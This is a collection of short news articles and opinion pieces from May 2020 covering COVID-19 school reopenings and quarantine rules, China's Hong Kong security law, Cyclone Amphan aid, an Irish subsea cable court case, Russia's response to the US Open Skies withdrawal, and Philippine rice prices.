If the virus remains under control, the amber zone would follow and include allowing priority groups of pupils to return to school. Further control of the virus would move the country into the green zone, allowing all education to resume.

Education minister Kirsty Williams said she would refuse to set an 'arbitrary date' for a return to schools, saying the Government first needed to see more evidence about the disease.

- England

The Government expects pre-school children to be able to return to early years settings, and for Reception, Year 1 and Year 6 pupils to be back in school, from the start of next month.

Young children could start returning to nurseries and primary schools in England from June 1, with the Government aiming for all primary school pupils to go back for a month before the summer holidays.

The Government has also said secondary schools and colleges should aim to offer some 'face-to-face contact' with Year 10 and 12 students who have key exams next year during the summer term.

A final decision on whether to go ahead with reopening schools is expected to be taken by the Government on or before May 28 after the most up-to-date scientific evidence has been reviewed.

Are there different approaches to reopening among schools in England?

- Council-run schools

Ministers have came under growing pressure from councils, predominantly by Labour-run local authorities in the north of England, who have ruled out a wider reopening from June 1.

It is likely that local authority-run primary schools in England will look closely at what their council has to say before deciding whether to reopen on the first week of June.

A number of councils, alongside teaching unions, have been calling for the scientific evidence underpinning the decision to reopen schools in England to be published. This is expected on Friday.

- Academies

Academies, which are state schools that are not run by councils, could follow the advice of their local authority, or they may make their own decisions on whether to stick to the Government's time scale.

But already a number of chief executives of academy chains have said schools must reopen soon to avoid 'irreparable' damage to vulnerable children.

Steve Chalke, founder of the Oasis Trust, which has 35 primary schools, said the trust plans to admit more pupils to its schools from June 1 as he said it is 'common sense' to create an opportunity for pupils to return to school.

Sir Steve Lancashire, chief executive of REAch2, the largest primary academy chain in England, also plans to open all their schools for the priority year groups.

- Private schools

Some private schools may consider keeping children in Year 6 at home when schools reopen more widely, an independent school chief has suggested.

Christopher King, chief executive of the Independent Association of Prep Schools (Iaps), which has more than 600 members, said he expects the vast majority of members in England to reopen to more pupils from June 1.

But he told the PA news agency that some private schools may decide to remain closed to Year 6 pupils who can continue their virtual learning at home.

Mr King also warned that it may be difficult for some independent schools to open if they are located in local authorities advising against a June 1 reopening.
A Clare Island fisherman has won the first leg of a legal battle against the laying of fibre optic cable off the Mayo coast as a decision granting a licence for the works which is part of a multi million international communication project is to be quashed.

And the Irish spur of the project which will see a Trans Atlantic cable system connect Northern Europe and the US is now on hold as the question of whether to grant another foreshore licence is to be further considered.

Teams had been on standby and in isolation in Co Mayo waiting to start work on the Irish section of the Trans Atlantic subsea cable system.

The Irish branch of the cable system is called America Europe Connect 2 and is owned by a consortium of IT companies including internet giants Facebook and Google.

Clare Island fisherman James OToole over a week ago brought a legal challenge against the granting of the licence. The consortium was a notice party to the proceedings against the Minister of State at the Department of Planning and Local Government which granted a foreshore licence earlier this year

In the High Court today Mr Justice Denis McDonald was told at a remote hearing there had been a dramatic development in the case.

Counsel for Mr OToole , James Devlin SC told the court in a letter on Thursday evening from the Chief State Solicitor it had been indicated the Minister was consenting to an order of 'certiorari', quashing the decision of February 6, 2020 to grant a licence to America Europe Connect 2 Limited to install the cable on the foreshore off Old Head, Louisburgh, Co Mayo.

Counsel said his side did not object to the remittal back to the Minister for consideration but he said any further consideration would require public participation and an environment impact study.

David Holland SC for America Europe Connect 2 Ltd asked that the case be adjourned for two weeks. We understand that this licence has a death sentence and a sentence of remittal, Counsel said. The consortium he said had already given an undertaking not to start works off the Mayo coast.

Mr Justice McDonald who had been due to hear an application for a stay on the works off the Mayo coast said the sides should agree the terms of the order quashing the licence decision which can be put in place on the next occasion in court.

The judge said an undertaking given by America Europe Connect 2 Limited that no works will be carried out should continue until the next court date on June 5. Mr Justice McDonald said this was not a reflection on the good character of America Europe Connect 2.

A Trans-Atlantic fibre optic cable extending from the US to Denmark with spurs to Ireland and Norway is under construction. The planned route for the Irish spur includes a landfall at Old Head on the southern side of Clew Bay, over three kms from Louisburgh.

America Europe Connect 2 Limited in 2018 applied for a foreshore licence to lay the cable coming ashore at Old Head, Mr O Toole claims the shortest possible route to Irelands shore was selected even though it is through areas of very rocky seabed where the cable cannot be buried, sensitive fishing grounds in Clew Bay and passes through the narrow channel between Achill and Clare islands.

It is claimed it also passes through the habitats of protected endangered species including the bottle nosed dolphin and the Brent goose.
The nation stands in solidarity with the people of West Bengal and Odisha in the aftermath of Cyclone Amphan, Prime Minister Narendra Modi said on Friday after concluding his tour of the two states.

"The central government assures all possible support as well as assistance towards the rehabilitation, restoration and reconstruction efforts," he wrote on Twitter.

He referred to his visit to the two states earlier in the day to review the situation caused by the super cyclone, saying "the nation stands in solidarity with our sisters and brothers in West Bengal and Odisha".

He also tweeted the messages in Bangla and Odiya.

Modi reviewed the situation in West Bengal and Odisha with Chief Ministers Mamata Banerjee and Naveen Patnaik, two days after the cyclone, the worst in years, devastated their states.

The prime minister announced an interim assistance of Rs 1,000 crore for West Bengal.

Modi also announced an ex-gratia of Rs 2 lakh to the families of each of those killed and Rs 50,000 for the injured. The prime minister later flew down to Odisha, where he announced a financial assistance of another Rs 500 crore.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
China Gears Up to 'Perfect Hong Kong's Legal System' With Draconian Security Law

2020-05-21 -- China on Thursday said it was gearing up to "perfect the legal system" of Hong Kong with national security legislation that will outlaw speech and actions considered subversive, pro-independence or part of "foreign interference" in the city.

"The ... National People's Congress (NPC) will consider a draft decision on ... perfecting Hong Kong's legal system and law enforcement mechanisms ... with regard to national security," state news agency Xinhua reported, citing NPC spokesman Zhang Yesui.

The announcement follows media reports that the ruling Chinese Communist Party could be gearing up to insert the new law directly onto Hong Kong's statute book without tabling it in the city's legislature.

In Washington, where policymakers are weighing changes to Hong Kong's trade status if Beijing undermines the city's autonomy, U.S. President Donald Trump told reporters at the White House: "If it happens we'll address that issue very strongly," Reuters news agency reported.

The draft law will ban "seditious" and "subversive" activities deemed to be aimed at toppling the central government, as well as external interference in Hong Kong's affairs, as well as "acts of terrorism," a phrase that has been increasingly used by the city government to describe pro-democracy protests, the South China Morning Post (SCMP) reported.

In mainland China, peaceful critics are often targeted with national security charges, including "subversion" and "incitement to subvert state power."

The SCMP quoted a Chinese official source as saying that the opposition in Hong Kong's Legislative Council (LegCo) to recent attempts to pass a law banning "insults" to China's national anthem had led Beijing to conclude that it should find another way to enact the unpopular legislation.

"We can no longer allow acts like desecrating national flags or defacing of the national emblem in Hong Kong," the source was quoted as saying, in a reference to the actions of protesters outside Beijing's Central Liaison Office in Hong Kong last summer.

Hong Kong chief executive Carrie Lam arrived in Beijing on Thursday ahead of the NPC's deliberations, slated for Friday, the paper said.

The government-leaning news site HK01.com also carried a story suggesting Beijing is gearing up to bypass LegCo and unilaterally enact the hugely unpopular Article 23 legislation that was shelved for nearly two decades after the last attempt to table it sparked mass street protests.

Beijing breaks promise

Government broadcaster RTHK also reported that "Beijing would be introducing its own national security legislation for Hong Kong and doing away with the need for [Hong Kong] to enact laws under Article 23."

It said the likelihood of a strong performance by pro-democracy candidates in September's LegCo elections following months of mass pro-democracy protests could have been a factor behind the decision.

Pro-democracy activist Joshua Wong said the move shows Beijing is abolishing its promise that Hong Kong would continue to function as a separate jurisdiction under its "one country, two systems" formula after the 1997 handover.

"On the eve of HK's Tiananmen massacre vigil, Beijing is now scrapping its promise of #1country2systems by circumventing HK's legislature and directly imposing the most controversial national security law #article23 upon Hong Kong," Wong tweeted on Thursday.

"This disputable legislation [will be] promulgated without any legislative scrutiny, just by the direct promulgation by #Beijing authority," Wong wrote, saying Beijing would create a "new mechanism" for directly enacting laws in Hong Kong.

"Beijing's move is a direct retaliation on #hongkongers' efforts to arouse awareness over the past one year. Beijing is attempting to silence #Hongkongers' critical voices with force and fear," he said.

Hong Kong political commentator Liu Ruishao said he believes Beijing is trying to find a quick and effective way to end months of unrest in Hong Kong amid the coronavirus epidemic.

"Beijing still believes that foreign governments and overseas forces are stepping up their operations in Hong Kong," Liu said. "They believe that this is a threat to national security."

'This is very unwise'

"This will really signal the formal end of the one country, two systems promises. By taking up this move, they're just imposing something on the Hong Kong population without even going formally through the legislative council," University of Notre Dame political science professor Victoria Hui told RFA.

Pro-democracy lawmaker Tanya Chan said the move also shows that Beijing hasn't learned from the mass public opposition to Carrie Lam's proposed extradition law, and to Article 23 legislation dating as far back as 2003.

"Back in 2003, they shelved national security legislation under Article 23, at a time of huge public concern," Chan said. "Now, they are forcing that legislation on Hong Kong with no public consultation whatsoever."

"This is very unwise," she said.

The state-run China Daily said there are limited options under current Hong Kong law for prosecuting people for subversion and sedition.

"What has happened in Hong Kong since June last year indicates that the legal system in the SAR is not only weak with regard to national security, as its limited number of relevant articles are scattered among various laws and regulations, some of which date back to British rule and many of which have been left in a state of dormancy since then, but also frail in its law enforcement power which has been unable to quell the unrest," the paper said in an opinion piece on Thursday.

The HK01 report said the new law would be immediately enforceable in Hong Kong once it had been added to Annexe 3 of the city's mini-constitution, the Basic Law.

Such a mechanism could be re-used to pass any future legislation that was likely to meet with significant public opposition, whether in LegCo or on the streets.

The move comes as Washington reviews the city's separate trading status under the Hong Kong Human Rights and Democracy Act, passed in November 2019. The separate status was based on China's promises that the city would maintain "a high degree of autonomy" and a separate legal jurisdiction for 50 years after the handover.

Morgan Ortagus, Spokesperson for the Department of State, said the NPC statement and other reported plans were a violation of Chinese commitments and "would be highly destabilizing, and would be met with strong condemnation from the United States and the international community.

She noted that Pompeo recently said the State Department is "delaying the submission of our annual Hong Kong Policy Act Report to Congress to allow us to account for any additional actions that Beijing may be contemplating in the run-up to and during the National People's Congress that would further undermine Hong Kong's high degree of autonomy."

Ortagus said that China's handover commitments that Hong Kong will "enjoy a high degree of autonomy" and that people there will enjoy human rights and fundamental freedoms "are key to preserving Hong Kong's special status in international affairs, and, consistent with U.S. law, the United States' current treatment of Hong Kong."

Sen. Ted Cruz, a member the Senate Foreign Relations Committee, said Beijing's plans are "unacceptable and will require a reevaluation of U.S. policy if it is not immediately reversed."

"As I've long said, Hong Kong is the new Berlin, and now the U.S. must stand strong with our allies and hold the line against the spread of communism," he said in a written statement.

Last year's protests escalated in June amid mass public opposition to plans to allow extradition to mainland China, before broadening to include demands for fully democratic elections, as well as accountability for police violence and an amnesty for protesters.

The movement enjoyed widespread popular support, culminating in a landslide victory for pro-democracy candidates in November's District Council elections.

Reported by Gao Feng and Rita Cheng for RFA's Cantonese and Mandarin Services. Translated and edited by Luisetta Mudie.

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Iran's supreme leader has called Israel a 'cancerous tumor' that 'will undoubtedly be uprooted and destroyed' in an annual speech in support of the Palestinians, renewing threats against Iran's Mideast enemy.

Supreme Leader Ayatollah Ali Khamenei's speech on Friday marked a subdued Quds Day for Iran, which typically sees government-encouraged mass demonstrations in Tehran and elsewhere in the Islamic Republic, as well as Iranian-allied nations. 'Al-Quds' is the Arabic name for Jerusalem.

Due to the coronavirus pandemic, Iran largely asked demonstrators to stay home.

Supreme Leader Ayatollah Ali Khamenei gives a televised speech marking the annual Quds, or Jerusalem Day, in Tehran on Friday

Khamenei spoke to the nation in a 30-minute speech aired on state television, a rare address by the supreme leader as other officials in the past gave the keynote speech.

He repeatedly referred to Israel as a 'cancer' or 'tumor' during the speech, criticizing the U.S. and the West for equipping it with 'various kinds of military and non-military tools of power, even with atomic weapons.'

'The Zionist regime is a deadly, cancerous growth and a detriment to this region,' Khamenei said. 'It will undoubtedly be uprooted and destroyed.'

Iran under the U.S.-allied Shah Mohammad Reza Pahlavi had relations with Israel. After the 1979 Islamic Revolution, Ayatollah Ruhollah Khomeini ordered the first Quds Day be held on the last Friday of the holy Muslim fasting month of Ramadan to criticize Israel. The late Palestinian Liberation Organization leader Yasser Arafat was among the first people invited to Iran after the revolution.

Today, Iran and Israel remain enemies and Israel is believed to be behind airstrikes targeting Iranian forces in Syria. Iran meanwhile supports the Lebanese militant group Hezbollah.

Khamenei spoke to the nation in a 30-minute speech aired on state television, a rare address by the supreme leader as other officials in the past gave the keynote speech

Khamenei also compared Israel to the coronavirus during the speech, while saying his anti-Israeli views were not anti-Semitic.

However, in the days running up to Friday, his office released a cartoon graphic showing smiling Iranian-backed forces, Arabs and two Orthodox Jews in Jerusalem under a headline that included the phrase 'the final solution.' Nazi Germany used the phrase 'final solution' to describe its plan for the Holocaust, in which its forces killed 6 million Jews in World War II.

The image later was deleted from Khamenei's Twitter account and other places, though it remains on the Farsi-language version of his official website. Israel's Foreign Ministry offered a tweet of its own over the picture, writing: 'We have experience with leaders who talk about 'final solutions,' and we promise: Not on our watch.'
Source: Xinhua| 2020-05-23 02:39:37|Editor: huaxia

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MOSCOW, May 22 (Xinhua) -- Russia is open to dialogue with the United States on the Treaty on Open Skies, but only if it is based on equal rights and aimed at mutual consideration of interests and concerns, the Russian Foreign Ministry said in a statement Friday.

Earlier on Friday, Russian Deputy Foreign Minister Sergei Ryabkov said that the ministry had received an official note about the U.S. decision to begin the procedure of withdrawal from the treaty.

"This is deeply regrettable, as significant damage is being done to the European security," the ministry's statement said.

"The security of the United States itself will not be strengthened, and its authority in international affairs will certainly suffer," it added.

The ministry recalled that U.S. official representatives said that the United States may reconsider its decision to withdraw from the treaty if Russia in the coming months unconditionally fulfills all their requirements.

"This is an ultimatum. On this basis, the dialogue will not work," said the statement.

The U.S. decision to pull out of the treaty raises questions about Washington's policy consistency, and caused serious concern even among the U.S. allies, it said.

Washington's decision did not take Russia by surprise, as it fully fits into its line on the destruction of the whole complex of agreements in the field of arms control and confidence-building in the military field, the statement said.

Russia will build its policy regarding the Open Skies treaty, proceeding solely from the interests of its national security, in close cooperation with its allies and partners, the statement said.

The treaty, which became effective in 2002, allows its states-parties to conduct short-notice, unarmed reconnaissance flights over the others' entire territories to collect data on military forces and activities.

Currently, 35 nations, including Russia, the United States, and some other members of the North Atlantic Treaty Organization, have signed it. Kyrgyzstan has signed but not ratified it yet.

The treaty is aimed at building confidence and familiarity among states-parties through their participation in the overflights. Enditem
Fifteen Mumbai returnees tested positive for COVID-19 in Himachal Pradesh on Friday, taking the total number of cases in the state to 167, officials said here.

While 14 fresh cases were reported from Hamirpur, one case was from Kangra district, they added.

The number of active cases in the state now stands at 105.

Fifty-five of these are from Hamirpur, 29 from Kangra, five each from Solan and Bilaspur, four from Mandi, two each from Sirmaur, Una and Chamba, and one from Kullu, the officials said.

Four patients were also discharged in Kangra during the day, taking the total number of those who have recovered from the disease so far to 59, they said.

Hamirpur Deputy Commissioner Harikesh Meena said all the 14 fresh cases, including three women and as many girls reported in the district, had returned recently from Mumbai and majority of them were kept under institutional quarantine at different places.

They are being admitted to various COVID centres of the district for treatment and isolation, he added.

The fresh cases include a 44-year-old woman from Kungan village and her three teenage daughters (between 11 and 17 age) who had returned from Mumbai on May 14, Meena added.

Similarly, a 55-year-old taxi driver and his 23-year-old son duo aged 55 from Har village also tested positive for coronavirus. They had returned from Mumbai on May 17.

The fresh cases also include a 78-year-old man, his 41-year-old daughter-in-law and 21-year-old grandson.

A 26-year-old man of Jamnoti village of Nadaun area is also among the fresh cases. He works in the Bollywood industry, he added.

A 29-year-old man from Pahloo village also tested positive. He returned from Mumbai with his pregnant wife. He was kept under home quarantine.

Similarly, a 31-year-old woman from Daswin village, a 19-year-old son boy from Sukrial village and a 41-year-old man from Baroti village are also among those who tested positive in Hamirpur district.

Meanwhile in Kangra, a man from Kauna village in Thural tehsil has tested positive, Kangra superintendent of police Vimukt Ranjan said.

He had recently returned from Mumbai and was kept under institutional quarantine.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The UK government announced tough new measures on Friday for international travellers coming into the country as the coronavirus pandemic lockdown is gradually eased, including 14-day mandatory quarantines and possible fines for a breach.

UK Home Secretary Priti Patel, who made the announcement at the daily Downing Street briefing in London, said the new measures will come into force from June 8 with penalties of up to 1,000 pounds for quarantine breaches enforced from mid-June.

We are introducing these new measures now to keep the transmission rate down and prevent a devastating second wave, said Patel.

I fully expect the majority of people will do the right thing and abide by these measures. But we will take enforcement action against a small reckless minority of people who endanger the safety of others, she said.

The Indian-origin Cabinet minister said spot checks would be carried out by the UK Border Force to ensure travellers abide by the rules, with those failing to comply facing refusal of entry to the UK.

Under the plans, all arriving passengers will be required to fill a Contact Locator Form to provide contact and travel information so they can be contacted if they, or someone they may have been in contact with develops the disease.

They will then be required to self-isolate for 14 days, the incubation period of the coronavirus, and could be contacted regularly throughout this period by health officials to ensure compliance.

The Home Office said a breach of self-isolation would be punishable with a 1,000 pounds fixed penalty notice in England or potential prosecution and unlimited fine.

The level of fine could increase if the risk of infection from abroad increases and the devolved administrations of Scotland, Wales and Northern Ireland will set out their own enforcement approaches.

Failure to complete the form is also punishable by a 100 pounds fixed penalty notice.

Public health authorities will conduct random checks in England to ensure compliance with self-isolation requirements.

Removal from the country would be considered as a last resort for foreign nationals who refuse to comply with these public health measures.

In reference to some criticism around the new rules being imposed too late, Home Office Chief Scientific Adviser John Aston said that while there has been significant community transmission of the virus within the UK the impact of putting in place additional border restrictions would have been negligible to the spread of the virus.

As the number of infections within the UK drops, we must now manage the risk of transmissions being reintroduced from elsewhere, he said.

As part of the plans, road hauliers and medical officials entering the country in relation to work to combat the pandemic would be exempt, as well as those arriving from the common travel area of the Republic of Ireland.

Seasonal agricultural workers will be expected to self-isolate on the property where they are working.

Any other passengers arriving in the UK by plane, ferry or train would need to provide UK Border Force officials with an address where they will self-isolate, otherwise accommodation will be arranged by the government.

The Opposition Labour Party has backed the plans, but shadow health secretary Jonathan Ashworth said there were "lots of questions as to why we didn't do this sooner".

"I would urge the government to get on with it and give us the details about how it's going to work in practice," he said.

Airlines have warned quarantine measures could make an already critical situation worse for them, with air travel grounding to a near-halt as a result of the lockdown measures imposed worldwide to curb the spread of the deadly virus.

The British government's current guidance recommends international travel only when absolutely necessary, and states that nobody should travel if they display any coronavirus symptoms.

There have so far been no quarantine requirements for travellers from abroad, with the government saying it is deemed necessary only now as the rate of infection within the country is brought into control and there is a need to prevent a second wave of infections coming in from overseas.

The rate of infection, so-called R rate, has been kept under the required rate of 1, with UK Health Secretary Matt Hancock saying that the country is ready to move to level three of a five-level test set by the government to ease the country out of lockdown.

At the peak of the pandemic, the UK has been on level 4, with the death toll from COVID-19 crossing 36,000.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The Bombay High Court on Friday



directed the Union government to file an affidavit by May 27 clarifying whether it will impose a cap on the price of N95 masks.

A bench of Chief justice Dipankar Datta and Justice SS Shinde also permitted the Association of Medical Consultants, a private city based body, to intervene in the issue.

The bench was hearing a Public Interest Litigation filed by Sucheta Dalal and Anjali Damania claiming such cap on pricing is required to curb black marketing of masks during the novel coronavirus outbreak.

On the previous hearing on May 19, the petitioners' counsel, senior advocate Mihir Desai, told the court there already existed a shortage of N95 masks for frontline healthcare workers and, therefore, it was imperative that hoarding or black marketing of such masks be prevented.

The Maharashtra government had, however, told the HC at the time that it had already written to the Centre seeking that a maximum ceiling be fixed for the sale price of N95 masks.

On Friday, the Centre's counsel Additional Solicitor General Anil Singh sought more time to respond to the plea.

While granting the Centre such time, the bench also allowed an intervention application filed by the Association of Medical Consultants that had told HC that the petitioners' grievance seeking a maximum price limit on the sale of such masks was a valid one.

"Having regard to the nature of controversy that has been projected before us, we are of the considered opinion that the opinion of medical consultants might be beneficial for due administration of justice," the bench said while allowing the intervention application.

As per the PIL, though N95 masks have been declared an essential commodity under Essential Commodities Act, hoarding and profiteering from their sale by black marketeers continues in the state.

Therefore, it was imperative government authorities ensured fair pricing of such masks, the plea says.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The emergence of the COVID-19 pandemic has completely changed the world. Millions of lives have been lost during this outbreak and the economy has shut down for months in most states, causing many to lose sources of their incomes. Primarily, freedom has been restricted by this pandemic with "stay home" orders that prohibited non-essential business operations.

COVID-19 has also impacted the circumstances of people of faith. Many cases arose during the pandemic in which freedom was taken away by the government. This includes when the North Carolina pro-life leader David Benham, who was providing free resources to help abortion-minded women on a public sidewalk outside an abortion facility was arrested by police. He "carefully followed every social distancing requirement, but the authorities don't care. Handcuffed," he "slowly walk to the cop car with tears in his eyes being taken to jail." Even though David "didn't break any law."

Alliance Defending Freedom (ADF) has successfully defended the freedom of Christians. Here are five victories that have been published by ADF

1. Churches in Washington State

The governor of Washington's stay-at-home order was so vague and ambiguous that it could have been read to prevent just a handful of church staff members from gathering to record and stream online services during the pandemic. We sent a letter to the governor, and the state later issued guidance clarifying that online services were allowed.

2. Kansas: First Baptist Church and Calvary Baptist Church

Governor Laura Kelly issued an executive order during Holy Week prohibiting "mass gatherings" of more than ten people. The order had over two dozen exceptions, including retail establishments, offices, and bars . . . but not churches. In fact, the order explicitly prohibited "churches and other religious services or activities" from having the same freedom as bars and other secular establishments.

First Baptist Church and Calvary Baptist Church are small churches located in rural areas where they were unable to rely on livestream services and where there were hardly any COVID-19 cases. These churches had been gathering in small groups while observing strict social distancing and health protocols. But the governor's order shut the door on that-right before Easter!

Fortunately, ADF stepped in to represent the churches, allowing them to gather for worship, and securing their right to be treated no worse than secular establishments.

3. Chattanooga, Tennessee: Metro Tabernacle Church

After holding livestream services for several weeks, Metro Tabernacle Church began planning an Easter Sunday drive-in church service to bring their community together while still following social distancing guidelines. But just days before Easter, the mayor abruptly changed his "stay-at home" order, specifically banning drive-in church services. People could sit in their cars at the Sonic Drive-In down the street to enjoy soda and cheeseburgers . . . yet the same number of cars could not gather in a church parking lot to celebrate what many Christians consider the most holy day of the year.

ADF filed a lawsuit on behalf of Metro Tabernacle Church. And while the mayor's actions sadly prevented the church from gathering on Easter Sunday, the mayor revised his policy to allow drive-in services the next week.

4. Greenville, Mississippi: Temple Baptist Church

During Holy Week, police cars entered the parking lot of Temple Baptist Church in the middle of a Wednesday night drive-in service. The officers then began to issue $500 fines to churchgoers sitting in their cars while listening to Pastor Arthur Scott, who was preaching inside, over the radio.

After ADF got involved, the city canceled these fines but refused to revise its unconstitutional policy banning drive-in services-a policy that directly contradicted the Alabama governor's executive order. After ADF filed a lawsuit, U.S. Attorney General William Barr and the Department of Justice filed a statement of interest in the case supporting Temple Baptist Church.

Realizing that it would not win this lawsuit, the city of Greenville revised its order on April 21 to allow drive-in church services-another great victory for churches and for the Constitution!

5. Wake County, North Carolina: Churches banned from communion and tithing

In Wake County, like most of the country, restaurants can sell food while adhering to certain social distancing regulations. But churches were explicitly banned from the nearly identical actions of receiving in-person tithes and distributing communion.

After several churches in the area contacted ADF, our attorneys sent the county a demand letter explaining how its policy was unconstitutional. Thankfully, the county responded by revising its policies. The new policies treat churches fairly by allowing them to accept tithes and distribute prepacked communion while adhering to the other social distancing requirements.
John Keane is one of the most prolific thinkers of today's political theory. The accessibility of e-books and my current confinement caught found me reading his latest work (The New Despotism, Harvard University Press, Cambridge, 2020). From my cramped space I offer the following reflections

The book explores a new governance that challenges traditional theories of dictatorships and democracies. It describes the power dynamics in countries as diverse as Russia, Saudi Arabia, China, the Gulf Emirates, Hungary or Singapore and reveals the common features of a New Despotism. Its a political regime capable of nesting on radically different cultural, social and economic substrates. One which Keane differentiates conceptually and empirically both from the classical tyrannies described by Aristotle and from the competitive authoritarianism recognized by current political science.

These are governments well connected to globalization; experts in manipulation, seduction, co-optation and selective or enlarged repression. Using the mechanisms of money, legislation, the media and phantom democratic institutions, such as elections, deliberative forums and advisory councils at the service of the Power. Its hierarchical structures encourage voluntary servitude at home and capture adherents beyond its borders. Under this scheme, the brand new polygarchs officials and entrepreneurs of a neo-communist capitalism coexist with a broad, consumer-oriented middle class and vast popular sectors, subject to the protection and propaganda of the Leviathan.

As I read Keane, a poll on European political preferences came to light (Garton Ash, Timothy & Zimmermann, Antonia, "In Crisis, Europeans Support Radical Positions", May 6, 2020, Eupinions). Conducted in the midst of the pandemic (March 2020) in 28 countries, it revealed a disturbing preference among children under the age of 30 for authoritarian management of the environmental crisis. Such results align with studies on the growth of democratic disaffection by youth in Europe and the US. (Mounck, Y & Foa, R.S, "This Is How Democracy Dies", The Atlantic, January, 29, 2020).

Also, in the Barometer of the Americas a similar attitude is found in young Latin Americans. They are, in all cases, the rebellious grandchildren of democracy: full of information, outrage and impatience. Imaginative about other possible worlds. But ignorant that these may be as their ancestors and contemporaries of the Afro-Asian world have found worse than their current shelter.

At the current juncture, social protection and political protection are confused. Criticism of government performance with the demolition of the republic. The old scourges of poverty and corruption are now joined by the economic collapse and errors in the management of the pandemic. As changes in post-communist nations reveal5, there is demand for governments that promise order, even at the expense of freedoms. Will the New Despotism expand beyond its present territories? While history has more than once denied the prophets of misfortune, the shadow of the new despots is projected menacingly upon the dazed democracies on both sides of the Atlantic.
T he UK, Australia and Canada have said they are deeply concerned by Chinas proposed national security legislation for Hong Kong which could undermine the one country, two systems principle.

The three countries issued a joint statement on Friday after China's ruling Communist Party announced it wants to clamp down on dissent in Hong Kong by introducing a national security law.

Pro-democracy activists say the move to ban "treason, secession, sedition and subversion" will destroy Hong Kongs autonomy.

In a joint statement, Foreign Secretary Dominic Raab, Australian foreign affairs minister Marise Payne and Canadian foreign minister Francois-Philippe Champagne said: We are deeply concerned at proposals for introducing legislation related to national security in Hong Kong.

The legally-binding joint declaration, signed by China and the UK, sets out that Hong Kong will have a high degree of autonomy.

Hong Kong Protests on 11 November 2019 - In pictures 1 /33 Hong Kong Protests on 11 November 2019 - In pictures A protester is detained in Central district of Hong Kong AP A still image from a social media video shows a police officer aiming his gun as a protester in Sai Wan Ho Cupid Producer via Reuters A firefighter prepares to put out a burning barricades at the entrance the Hong Kong Polytechnic University during a protest AFP via Getty Images Rot police secure an area where a pro-democracy protester was shot by a police Getty Images AFP via Getty Images AP AFP via Getty Images Cupid News/AFP via Getty Images In this image made from video, a police officer prepares to shoot a protester AP A protester is detained in Central district of Hong Kong on Monday after a fellow demonstrator was shot by police. AP AP AFP via Getty Images AP REUTERS AP REUTERS AFP via Getty Images AP AFP via Getty Images Getty Images AP Getty Images AFP via Getty Images AP AFP via Getty Images

It also provides that rights and freedoms, including those of the person, of the press, of assembly, of association and others, will be ensured by law in Hong Kong, and that the provisions of the two UN covenants on human rights (the International Covenant on Civil and Political Rights and International Covenant on Economic, Social and Cultural Rights) shall remain in force.

Making such a law on Hong Kongs behalf without the direct participation of its people, legislature or judiciary would clearly undermine the principle of one country, two systems, under which Hong Kong is guaranteed a high degree of autonomy.

Hong Kong is a semi-autonomous region which has had a "one country, two systems" policy since Britain handed it to Chinese rule in 1997.

Downing Street has also urged China to respect Hong Kongs rights amid concerns Beijing is tightening its grip on the city.

Boris Johnsons official spokesman said: We are monitoring the situation closely. We expect China to respect Hong Kongs rights and freedoms and high degree of autonomy.

As a party to the joint declaration, the UK is committed to upholding Hong Kongs autonomy and respecting the one country two systems model.

Asked if the proposed law met the one country two system principle, he replied: We are monitoring this closely and our immediate priority is to clarify the details of what is being suggested.
DANBURY  Staff with Danbury Hospital recently helped filled nearly four vans of food for local pantries.

The drive was held in honor of National Hospital Week, which was May 10 through 16, said Carrie Amos, president of Jericho Partnership. Food went to six pantries, including Jericho, Victory Christian Center, Daily Bread and Interfaith Aids Ministry of Greater Danbury.

Jericho picked up the items, stored it and then representatives from the local food collaborative sorted and distributed the food, Amos said.

Hospital workers also provided grocery store gift cards, with plans to continue doing so as long as there is the need, she said.

Amos praised the hospital staff, who are on the front lines of the coronavirus pandemic, for giving back.
Press Release

May 22, 2020 Govt must ensure no food price spikes in PH as world rice prices rise -- Pangilinan AS WORLD rice prices increase, the government should try to anticipate its effect on the country's food security and ensure that there would be no food price spikes especially for Filipinos already suffering from reduced income, Senator Francis "Kiko" Pangilinan said Friday. "While the pandemic is primarily a health crisis, its impact on economic activities can cause it to balloon to a food crisis. With 5 million Filipinos projected to lose their jobs locally, di pa kasama ang OFWs, the joblessness and the resulting loss of incomes, sales, salaries, and revenues can lead to food hunger or food insecurity," he said. "Hindi lang pandemya ang kinakaharap natin, meron ding Taal eruption, African swine flu, at typhoon Ambo. Napaka-kritikal na tugunan natin ang issue ng food security," Pangilinan said at the Usapang Liberal online forum on health and food security during the COVID-19 pandemic. The senator, who is also president of the Liberal Party of the Philippines, shared with party officials and non-politician members information the Departments of Trade and Industry, Labor and Employment, Agriculture, and Finance gave at the Senate hearings on government efforts to address the various problems arising from the pandemic. "Every day, the lockdown has cost us P3 billion a day," said Presidential Assistant for Food Security and Agricultural Modernization from 2014 to 2015. During this time, Pangilinan noted, food prices have been going up. "Tumaas ang presyo ng pagkain nang mga 3.4 percent. Kasama dyan ang isda, prutas, gulay," he said. But on rice, he said rice buffer stock is good for only 8 days, down from the legally required 15 or 30 days. "Sa bigas, na hindi lang malapit sa bituka kundi nasa bituka mismo, global rice prices have jumped by 25% to 30% from January prices of 340 to 360 US dollars per metric ton to 440 to 460 US dollars now," he said. Pangilinan expressed these concerns to Agriculture Secretary William Dar Thursday evening at the Senate hearings. "Ang concern natin tumataas ang presyo ng mga bilihin, tumaas ng 10% ang presyo ng pagkain, tumataas din ang presyo ng bigas sa world market. Kung 8 days na lang po ang buffer stock natin, Mr. Secretary, ano ba ang epekto nito?" Pangilinan asked Dar. If commercial rice in the market and those in the households were included in the calculations, the country's rice supply would be good for 60 days, the agriculture secretary said. This includes local rice production of the first and second quarters, the 850,000 MT the private sector imported, and the 300,000 MT that the government is procuring through the Philippine International Trading Corporation (PITC). While the National Food Authority (NFA) is no longer allowed to import for the government after the Rice Tariffication Law, the PITC, which the law allows to buy rice, is set to sign a memorandum of agreement with the NFA for warehousing of the government imported rice. Pangilinan cautioned against possible abuses and manipulations on government rice importation costing around P8 billion. "Paano matitiyak? Dahil sa kasaysayan, maraming pagkakataon na-di-divert ang bigas. If you will remember, nauwi sa dalawang araw hanggang isa't araw at kalahati ang buffer stock natin at may mga paratang na ito ay binenta sa mga trader, ni-rebag, at binenta nang doble ang presyo. We know that this has been happening before and therefore dapat mabantayan po yan," Pangilinan pointed out. In her response, NFA Administrator Judy Dansal said the still-to-be-signed NFA-PITC agreement only includes technical assistance in terms of the maintenance of the quality of stocks in the NFA 